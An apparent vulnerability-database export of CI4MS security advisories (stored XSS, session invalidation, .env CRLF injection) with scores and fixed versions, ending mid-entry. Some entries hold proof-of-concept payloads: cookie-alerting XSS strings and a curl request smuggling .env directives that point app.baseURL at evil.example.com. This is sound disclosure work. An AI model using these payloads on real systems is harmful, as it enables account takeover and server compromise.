url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-rpjr-985c-qhvm
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-34557
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-34557
4
reference_url https://github.com/advisories/GHSA-rpjr-985c-qhvm
reference_id GHSA-rpjr-985c-qhvm
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-rpjr-985c-qhvm
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2v9s-x9dt-8ugb
1
vulnerability VCID-6nzs-j8gz-9ucu
2
vulnerability VCID-8x3z-1p5j-6qfa
3
vulnerability VCID-c1ux-y4qk-xfch
4
vulnerability VCID-e9xp-rar3-c7bp
5
vulnerability VCID-fjcm-syrk-87fg
6
vulnerability VCID-j32w-tcpz-1fak
7
vulnerability VCID-mds3-7xh3-mkgv
8
vulnerability VCID-p1q2-w18a-3kae
9
vulnerability VCID-qrag-mndk-xbb7
10
vulnerability VCID-ux28-acyz-kqd1
11
vulnerability VCID-w12h-33nr-bufh
12
vulnerability VCID-ye3h-3tu7-p3e7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0%252B0
aliases CVE-2026-34557, GHSA-rpjr-985c-qhvm
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-rw6x-cp73-1bgj
22
url VCID-tbsh-y6wx-wfgt
vulnerability_id VCID-tbsh-y6wx-wfgt
summary
CI4MS: Stored Cross‑Site Scripting (Stored XSS) in Backend User Management Allows Session Hijacking and Full Administrative Account Compromise
### Summary

A critical Stored Cross-Site Scripting (Stored XSS) vulnerability exists in the backend user management functionality. The application fails to properly sanitize user-controlled input before rendering it in the administrative interface, allowing attackers to inject persistent JavaScript code. This results in automatic execution whenever backend users access the affected page, enabling session hijacking, privilege escalation, and full administrative account compromise.

---

### Details

The vulnerability resides in the backend user creation feature accessible via:

```
/backend/users
```

User-supplied input in the **name** and **surname** fields is stored without proper validation or sanitization. When this data is later rendered in the backend users listing page, it is injected directly into the HTML without output encoding.

Because of this, attackers can embed malicious JavaScript payloads that execute in the context of authenticated backend users.

This indicates missing contextual output escaping (e.g., HTML encoding) and insufficient input sanitization, leading to persistent script execution.

The vulnerability is particularly severe because:

* The payload is stored in the database (persistent XSS).
* The script executes automatically on page load.
* The affected page appears to be an administrative/backend interface, increasing the risk of privilege escalation.

---

### PoC

Steps to reproduce:

1. Navigate to:

```
http://localhost:8080/backend/users
```

2. Click **Add New User**.

3. Create a new user.

4. In the **name** and **surname** fields, insert the following payload:

```
adnan"><img src=1 onerror=alert(document.cookie)><<e>img src=1 onerror=alert(document.cookie)>
```

5. Save the user.

6. After saving, a popup displaying cookies will appear, demonstrating JavaScript execution.

7. Revisit:

```
http://localhost:8080/backend/users
```

8. The popup automatically triggers again, confirming that the malicious script is stored and executed persistently.
<img width="1534" height="834" alt="image" src="https://github.com/user-attachments/assets/83f3d124-cf2e-472d-87cc-8c668ea81cba" />

---

### Impact

Severity: **Critical**

This vulnerability enables:

* Persistent execution of attacker-controlled JavaScript in privileged backend contexts.
* Theft of session cookies, potentially leading to full account takeover.
* Unauthorized actions performed on behalf of administrators (CSRF-like behavior via XSS).
* Privilege escalation if a high-privilege user views the page.
* Injection of keyloggers, credential harvesting scripts, or malicious redirects.
* Full compromise of backend administrative functionality depending on role permissions.

Since the payload executes automatically without user interaction once stored, exploitation requires minimal effort and can impact all backend users.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-34571
reference_id
reference_type
scores
0
value 0.00061
scoring_system epss
scoring_elements 0.19371
published_at 2026-06-05T12:55:00Z
1
value 0.00061
scoring_system epss
scoring_elements 0.19322
published_at 2026-06-07T12:55:00Z
2
value 0.00061
scoring_system epss
scoring_elements 0.19367
published_at 2026-06-06T12:55:00Z
3
value 0.00071
scoring_system epss
scoring_elements 0.21799
published_at 2026-06-08T12:55:00Z
4
value 0.00071
scoring_system epss
scoring_elements 0.21806
published_at 2026-06-09T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-34571
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
reference_id
reference_type
scores
0
value 10
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
1
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-02T15:11:23Z/
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-fc4p-p49v-r948
reference_id
reference_type
scores
0
value 10
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
1
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
2
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
3
value CRITICAL
scoring_system generic_textual
scoring_elements
4
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-02T15:11:23Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-fc4p-p49v-r948
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-34571
reference_id
reference_type
scores
0
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-34571
5
reference_url https://github.com/advisories/GHSA-fc4p-p49v-r948
reference_id GHSA-fc4p-p49v-r948
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-fc4p-p49v-r948
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2v9s-x9dt-8ugb
1
vulnerability VCID-6nzs-j8gz-9ucu
2
vulnerability VCID-8x3z-1p5j-6qfa
3
vulnerability VCID-c1ux-y4qk-xfch
4
vulnerability VCID-e9xp-rar3-c7bp
5
vulnerability VCID-fjcm-syrk-87fg
6
vulnerability VCID-j32w-tcpz-1fak
7
vulnerability VCID-mds3-7xh3-mkgv
8
vulnerability VCID-p1q2-w18a-3kae
9
vulnerability VCID-qrag-mndk-xbb7
10
vulnerability VCID-ux28-acyz-kqd1
11
vulnerability VCID-w12h-33nr-bufh
12
vulnerability VCID-ye3h-3tu7-p3e7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0%252B0
aliases CVE-2026-34571, GHSA-fc4p-p49v-r948
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-tbsh-y6wx-wfgt
23
url VCID-tje9-d65v-bbd4
vulnerability_id VCID-tje9-d65v-bbd4
summary
CI4MS: Account Deletion Module Grants Full Persistent Unauthorized Access for All‑Roles via Improper Session Invalidation (Logic Flaw)
## Summary
### Vulnerability: Improper Session Invalidation on Account Deletion (Broken Access Control / Logic Flaw)
- This vulnerability is caused by a backend logic flaw that maintains a false trust assumption that already-authenticated users remain trustworthy, even after their accounts are explicitly deleted. As a result, administrative security actions do not behave as intended, allowing persistent unauthorized access.

### Description
The application fails to immediately revoke active user sessions when an account is **deleted**. Due to a logic flaw in the backend design, account state changes are enforced only during authentication (login), not for already-established sessions.

The system implicitly assumes that authenticated users remain trusted for the lifetime of their session. There is no session expiration or account expiration mechanism in place, causing deleted accounts to retain indefinite access until the user manually logs out. This behavior breaks the intended access control policy and results in persistent unauthorized access, representing a critical security flaw.

### Affected Functionality
- User session management and authentication logic
- Account **deletion** mechanism
- All authenticated endpoints, including administrative and content interfaces

### Attack Scenario
- A user logs into the application.
- An administrator **deletes** the user account.
- The user remains fully logged in and can continue performing all actions allowed by their role indefinitely, as there is no session expiration.
- The user can continue invoking backend methods, triggering application actions, accessing sensitive interfaces (including user management if permitted), and interacting with the system as if the account were still active.
- Access is only lost if the user manually logs out, which may never occur.

### Impact
- **Unauthorized Continued Access:** Deleted users retain full access indefinitely, violating intended access control and expected security behavior.
- **Bypass of Administrative Controls:** Administrative actions (**deletion**) fail to immediately restrict active sessions.
- **Logic Flaw Resulting in Broken Behavior:** Backend authorization logic relies on a flawed trust assumption that authenticated users remain valid, enforcing account state only at login.
- **Full Functional Access Retained:** Deleted users can continue invoking application methods, executing actions, interacting with protected endpoints, and using the system exactly as before deletion.
- **Privilege Abuse:** Users with elevated roles (moderator, editor, administrator) can continue performing privileged actions after account deletion, including accessing user management interfaces and modifying application state.
- **Service Disruption Potential:** Persistent access allows attackers to disrupt services, manipulate content, or interfere with normal application operations.
- **Attack Persistence:** Attackers can maintain access indefinitely, increasing the risk of data exfiltration, unauthorized modifications, or further privilege escalation.
- **False Sense of Remediation:** Administrators may believe a threat has been mitigated while the deleted user remains active within the system.

**Endpoint Example:** Any endpoint accessible to authenticated users, including dashboards, administrative interfaces, user management pages, and API endpoints.

## Steps To Reproduce (PoC)
1. Create or use an existing user account.
2. Log into the application using this account.
3. From an administrative account, **delete** the logged-in user account.
4. Observe that the target user remains authenticated.
5. Verify that the user can still access protected functionality, invoke actions, and interact with the application as before.
6. Confirm that the user only loses access after manually logging out (if they choose to do so).

## Remediation
- Immediately invalidate all active sessions when an account is **deleted**.
- Enforce account status checks on every authenticated request, not only during login.
- Introduce proper session expiration or account expiration mechanisms to prevent indefinite access.
- Correct the backend logic flaw to ensure access control behavior aligns with intended security design and does not rely on unsafe trust assumptions.

# Ready Video POC:
https://mega.nz/file/7dlUTQAB#0oXOapF5XYN4DRRG1xYj6DajmuP72MpMdsHqbVBMmWw
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-34570
reference_id
reference_type
scores
0
value 0.00035
scoring_system epss
scoring_elements 0.10879
published_at 2026-06-06T12:55:00Z
1
value 0.00035
scoring_system epss
scoring_elements 0.10843
published_at 2026-06-07T12:55:00Z
2
value 0.00035
scoring_system epss
scoring_elements 0.10889
published_at 2026-06-05T12:55:00Z
3
value 0.00041
scoring_system epss
scoring_elements 0.12874
published_at 2026-06-09T12:55:00Z
4
value 0.00041
scoring_system epss
scoring_elements 0.12843
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-34570
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-04-03T16:40:59Z/
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-4vxv-4xq4-p84h
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-04-03T16:40:59Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-4vxv-4xq4-p84h
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-34570
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-34570
5
reference_url https://github.com/advisories/GHSA-4vxv-4xq4-p84h
reference_id GHSA-4vxv-4xq4-p84h
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-4vxv-4xq4-p84h
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2v9s-x9dt-8ugb
1
vulnerability VCID-6nzs-j8gz-9ucu
2
vulnerability VCID-8x3z-1p5j-6qfa
3
vulnerability VCID-c1ux-y4qk-xfch
4
vulnerability VCID-e9xp-rar3-c7bp
5
vulnerability VCID-fjcm-syrk-87fg
6
vulnerability VCID-j32w-tcpz-1fak
7
vulnerability VCID-mds3-7xh3-mkgv
8
vulnerability VCID-p1q2-w18a-3kae
9
vulnerability VCID-qrag-mndk-xbb7
10
vulnerability VCID-ux28-acyz-kqd1
11
vulnerability VCID-w12h-33nr-bufh
12
vulnerability VCID-ye3h-3tu7-p3e7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0%252B0
aliases CVE-2026-34570, GHSA-4vxv-4xq4-p84h
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-tje9-d65v-bbd4
24
url VCID-ux28-acyz-kqd1
vulnerability_id VCID-ux28-acyz-kqd1
summary
CI4MS: Backup Management Full Account Takeover for All Roles & Privilege Escalation via Stored DOM Blind XSS
An attacker can achieve Full Account Takeover and Privilege Escalation via Stored DOM XSS in the backup module's filename field, which is manipulated through an SQL file that tampers with the filename field to contain a hidden XSS payload.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-41201
reference_id
reference_type
scores
0
value 0.00057
scoring_system epss
scoring_elements 0.18239
published_at 2026-06-07T12:55:00Z
1
value 0.00057
scoring_system epss
scoring_elements 0.18273
published_at 2026-06-05T12:55:00Z
2
value 0.00057
scoring_system epss
scoring_elements 0.18277
published_at 2026-06-06T12:55:00Z
3
value 0.00063
scoring_system epss
scoring_elements 0.19642
published_at 2026-06-09T12:55:00Z
4
value 0.00063
scoring_system epss
scoring_elements 0.19614
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-41201
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 6.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0
reference_id
reference_type
scores
0
value 6.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
1
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-05-07T14:07:25Z/
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-qxpq-82f3-xj47
reference_id
reference_type
scores
0
value 6.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
1
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
2
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
3
value MODERATE
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-05-07T14:07:25Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-qxpq-82f3-xj47
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-41201
reference_id
reference_type
scores
0
value 6.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-41201
5
reference_url https://github.com/advisories/GHSA-qxpq-82f3-xj47
reference_id GHSA-qxpq-82f3-xj47
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-qxpq-82f3-xj47
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.5
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.5
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.5
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.5.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.5.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-cd9w-5f22-xkfk
1
vulnerability VCID-fjcm-syrk-87fg
2
vulnerability VCID-qrag-mndk-xbb7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.5.0
2
url pkg:composer/ci4-cms-erp/ci4ms@0.31.5%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.5%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.5%252B0
aliases CVE-2026-41201, GHSA-qxpq-82f3-xj47
risk_score 4.1
exploitability 0.5
weighted_severity 8.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-ux28-acyz-kqd1
25
url VCID-vjxw-3q1u-f3az
vulnerability_id VCID-vjxw-3q1u-f3az
summary
CI4MS: Menu Management (Posts) Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
## Summary
### **Vulnerability: Stored DOM XSS via Posts Added to Menu (Persistent Payload Injection)**
- Stored Cross-Site Scripting via Unsafe Rendering of Post Entries in Menu Management

### Description
The application fails to properly sanitize user-controlled input when **adding Posts to navigation menus** through the Menu Management functionality. Post-related data selected via the Posts section is stored server-side and rendered without proper output encoding.

These stored values are later rendered unsafely within administrative dashboards and public-facing navigation menus, resulting in stored DOM-based cross-site scripting (XSS).

### Affected Functionality
- Menu Management – Posts section
- Adding posts to navigation menus
- Menu storage and rendering logic

### Attack Scenario
- An attacker creates or controls a post containing a malicious JavaScript payload.
- The attacker adds the post to the menu using the **Posts** functionality in Menu Manager.
- The application stores the menu entry without sanitization or encoding.
- The payload persists and executes whenever the menu is rendered.

### Impact
- Persistent Stored DOM XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation in administrative contexts
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire application via global navigation execution

Endpoint:
- `/backend/menu/`

## Steps To Reproduce (POC)
1. Navigate to Menu Management
2. Use the **Posts** section to add a post containing an XSS payload such as:
`<img src=x onerror=alert(document.domain)>`
3. Save the menu
4. View the menu in the administrative panel or any public-facing page
5. Observe the JavaScript payload executing automatically

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
https://mega.nz/file/PcMiUA5K#L2RlZJa340Q8K42TksxiXMuo_9XsRYPi14-WvBnak2A
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-34565
reference_id
reference_type
scores
0
value 0.0005
scoring_system epss
scoring_elements 0.15923
published_at 2026-06-05T12:55:00Z
1
value 0.0005
scoring_system epss
scoring_elements 0.15872
published_at 2026-06-07T12:55:00Z
2
value 0.0005
scoring_system epss
scoring_elements 0.15912
published_at 2026-06-06T12:55:00Z
3
value 0.00058
scoring_system epss
scoring_elements 0.18312
published_at 2026-06-09T12:55:00Z
4
value 0.00058
scoring_system epss
scoring_elements 0.18292
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-34565
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-02T18:08:32Z/
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xgh5-w62m-8mpr
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-02T18:08:32Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xgh5-w62m-8mpr
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-34565
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-34565
5
reference_url https://github.com/advisories/GHSA-xgh5-w62m-8mpr
reference_id GHSA-xgh5-w62m-8mpr
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-xgh5-w62m-8mpr
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2v9s-x9dt-8ugb
1
vulnerability VCID-6nzs-j8gz-9ucu
2
vulnerability VCID-8x3z-1p5j-6qfa
3
vulnerability VCID-c1ux-y4qk-xfch
4
vulnerability VCID-e9xp-rar3-c7bp
5
vulnerability VCID-fjcm-syrk-87fg
6
vulnerability VCID-j32w-tcpz-1fak
7
vulnerability VCID-mds3-7xh3-mkgv
8
vulnerability VCID-p1q2-w18a-3kae
9
vulnerability VCID-qrag-mndk-xbb7
10
vulnerability VCID-ux28-acyz-kqd1
11
vulnerability VCID-w12h-33nr-bufh
12
vulnerability VCID-ye3h-3tu7-p3e7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0%252B0
aliases CVE-2026-34565, GHSA-xgh5-w62m-8mpr
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-vjxw-3q1u-f3az
26
url VCID-w12h-33nr-bufh
vulnerability_id VCID-w12h-33nr-bufh
summary
CI4MS Vulnerable to .env CRLF Injection via Unvalidated `host` Parameter in Install Controller
## Summary

The `Install::index()` controller reads the `host` POST parameter without any validation and passes it directly into `updateEnvSettings()`, which writes it into the `.env` file via `preg_replace()`. Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the `.env` file. The install routes have CSRF protection explicitly disabled, and the `InstallFilter` can be bypassed when `cache('settings')` is empty (cache expiry or fresh deployment).

## Details

In `modules/Install/Controllers/Install.php`, the `$valData` array (lines 13-27) defines validation rules for all POST parameters **except** `host`. The `host` value is read at line 35:

```php
// line 32-41
$updates = [
    'CI_ENVIRONMENT' => 'development',
    'app.baseURL' => '\'' . $this->request->getPost('baseUrl') . '\'',
    'database.default.hostname' => $this->request->getPost('host'),  // NO VALIDATION
    'database.default.database' => $this->request->getPost('dbname'),
    // ...
];
```

This value is passed to `updateEnvSettings()` (lines 89-101), which uses `preg_replace` with the raw value as the replacement string:

```php
// line 94-98
foreach ($updates as $key => $value) {
    $pattern = '/^' . preg_quote($key, '/') . '=.*/m';
    $replacement = "{$key}={$value}";
    if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);
    else $contents .= PHP_EOL . $replacement;
}
```

Since the `env` template has all lines commented out (e.g., `# database.default.hostname = localhost`), the pattern does not match, and the value is appended verbatim — including any embedded newline characters. This allows injection of arbitrary key=value pairs into `.env`.

The `dbpassword` field (line 17) is a secondary vector — its validation (`permit_empty|max_length[255]`) does not reject newline characters.

**Access conditions:**
- CSRF is explicitly disabled for install routes (`InstallConfig.php:7-9`), confirmed consumed by `Filters.php:220-231,246-251`.
- `InstallFilter` (line 13) only blocks when **both** `.env` exists **and** `cache('settings')` is populated. The endpoint is accessible during fresh install or after cache expiry/clear.

**Mitigation note:** `encryption.key` injection is NOT exploitable because `generateEncryptionKey()` (line 70) runs after `updateEnvSettings()` and overwrites all `encryption.key=` lines with a cryptographically random value. However, all other `.env` settings remain injectable.

## PoC

**Scenario:** Application is deployed but cache has expired (or fresh install window).

```bash
# Inject app.baseURL override and disable secure requests via host parameter
# The %0a represents a newline that creates new .env lines
curl -X POST 'http://target/install/' \
  -d 'baseUrl=http://target/&dbname=ci4ms&dbusername=root&dbpassword=&dbdriver=MySQLi&dbpre=ci4ms_&dbport=3306&name=Admin&surname=User&username=admin&password=Password123&email=admin@example.com&siteName=TestSite&host=localhost%0aapp.baseURL=http://evil.example.com/%0aapp.forceGlobalSecureRequests=false%0asession.driver=CodeIgniter\Session\Handlers\DatabaseHandler'
```

**Expected result:** The `.env` file will contain:

```
database.default.hostname=localhost
app.baseURL=http://evil.example.com/
